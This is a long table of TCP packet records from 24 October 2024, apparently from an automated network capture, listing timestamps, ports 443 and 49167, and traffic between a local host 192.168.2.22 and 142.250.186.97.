Oct 24, 2024 08:52:56.256603003 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.259377956 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.259444952 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.259457111 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.261984110 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.262047052 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.262059927 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.264863014 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.264925003 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.264945030 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.267491102 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.267560005 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.267574072 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.276050091 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.276125908 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.276139975 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.276232004 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.276292086 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.276304007 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.276402950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.276458025 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.276469946 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.276567936 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.276623011 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.276633978 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.278202057 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.278268099 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.278279066 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.278914928 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.278973103 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.278984070 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.280850887 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.280911922 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.280924082 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.283451080 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.283509970 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.283521891 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.285948992 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.286015034 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.286027908 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.288537025 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.288604975 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.288619041 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.290961981 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.291034937 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.291048050 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.293576956 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.293653011 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.293667078 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.296053886 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.296118975 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.296133041 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.298306942 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.298376083 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.298389912 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.300755024 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.300821066 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.300834894 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.303210020 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.303276062 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.303288937 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.303390980 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.303467035 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.303472996 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.303495884 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.303541899 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.305672884 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.322164059 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.322251081 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.322271109 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.322367907 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.322421074 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.322432041 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.322618008 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.322674036 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.322685003 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.322788954 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.322840929 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.322851896 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.322953939 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.323005915 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.323016882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.323122025 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.323179960 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.323189974 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.323288918 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.323348045 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.323359966 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.324276924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.324333906 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.324346066 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.324436903 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.324498892 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.324511051 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.326564074 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.326621056 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.326632977 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.326766014 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.326817036 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.326828957 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.328943014 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.329000950 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.329014063 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.333347082 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.333410978 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.333425045 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.338360071 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.338422060 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.338435888 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.343228102 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.343286991 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.343301058 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.346302032 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.346364975 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.346379042 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.349689960 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.349755049 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.349770069 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.352111101 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.352175951 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.352189064 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.355248928 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.355329990 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.355341911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.355444908 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.355519056 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.355530977 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.358072996 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.358138084 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.358150959 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.360938072 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.361012936 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.361026049 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.361134052 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.361195087 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.361207008 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.363831997 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.363905907 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.363919973 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.366997957 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.367075920 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.367089987 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.369657993 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.369741917 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.369757891 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.372512102 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.372594118 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.372607946 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.375183105 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.375260115 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.375274897 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.377983093 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.378057957 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.378074884 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.380675077 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.380736113 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.380750895 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.383383036 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.383454084 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.383466959 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.391937971 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.392031908 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.392045975 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.392072916 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.392121077 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.392174006 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.392343044 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.392390013 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.392402887 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.392509937 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.392554998 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.392570019 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.392679930 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.392728090 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.392740965 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.393614054 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.393685102 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.394167900 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.396703959 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.396759987 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.396774054 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.399230957 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.399288893 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.399302006 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.401817083 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.401890993 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.401905060 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.404197931 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.404258966 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.404273033 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.406821966 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.406891108 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.406903982 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.407036066 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.407093048 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.407104969 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.409293890 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.409358025 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.409372091 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.412086964 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.412147999 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.412162066 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.414145947 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.414202929 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.414216042 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.414308071 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.414362907 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.414375067 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.416593075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.416656017 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.416668892 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.419075012 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.419131994 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.419146061 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.419241905 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.419300079 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.419326067 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.421524048 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.421585083 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.421598911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.438007116 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.438097000 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.438107967 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.438133001 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.438177109 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.438314915 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.438489914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.438549042 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.438560963 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.438657999 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.438721895 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.438733101 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.438832045 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.438886881 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.438898087 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.439004898 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.439053059 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.439064980 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.439197063 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.439258099 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.439268112 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.440140963 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.440201998 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.440215111 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.440310001 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.440368891 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.440378904 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.442420006 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.442473888 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.442487001 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.444607973 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.444672108 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.444684982 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.448981047 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.449060917 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.449081898 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.453855991 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.453928947 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.453943968 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.454056025 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.454118013 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.454129934 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.458919048 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.458976984 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.458990097 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.461968899 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.462035894 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.462049007 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.465115070 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.465178013 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.465190887 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.467855930 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.467910051 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.467921972 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.471441984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.471510887 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.471523046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.471546888 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.471587896 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.471651077 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.471811056 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.471869946 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.471884012 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.473817110 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.473877907 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.473895073 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.476845980 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.476924896 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.476946115 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.479703903 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.479770899 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.479794025 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.482685089 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.482738018 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.482745886 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.485359907 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.485415936 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.485423088 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.488086939 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.488143921 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.488149881 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.490994930 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.491048098 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.491053104 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.493772984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.493830919 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.493835926 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.496537924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.496648073 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.496711969 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.496764898 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.496851921 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.499222040 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.499417067 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.499474049 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.499486923 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.507877111 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.507939100 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.507951975 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.508059025 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.508117914 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.508130074 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.508236885 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.508292913 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.508304119 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.508470058 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.508528948 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.508539915 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.508657932 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.508714914 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.508740902 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.510011911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.510077000 CEST	49167	443	192.168.2.22	142.250.186.97
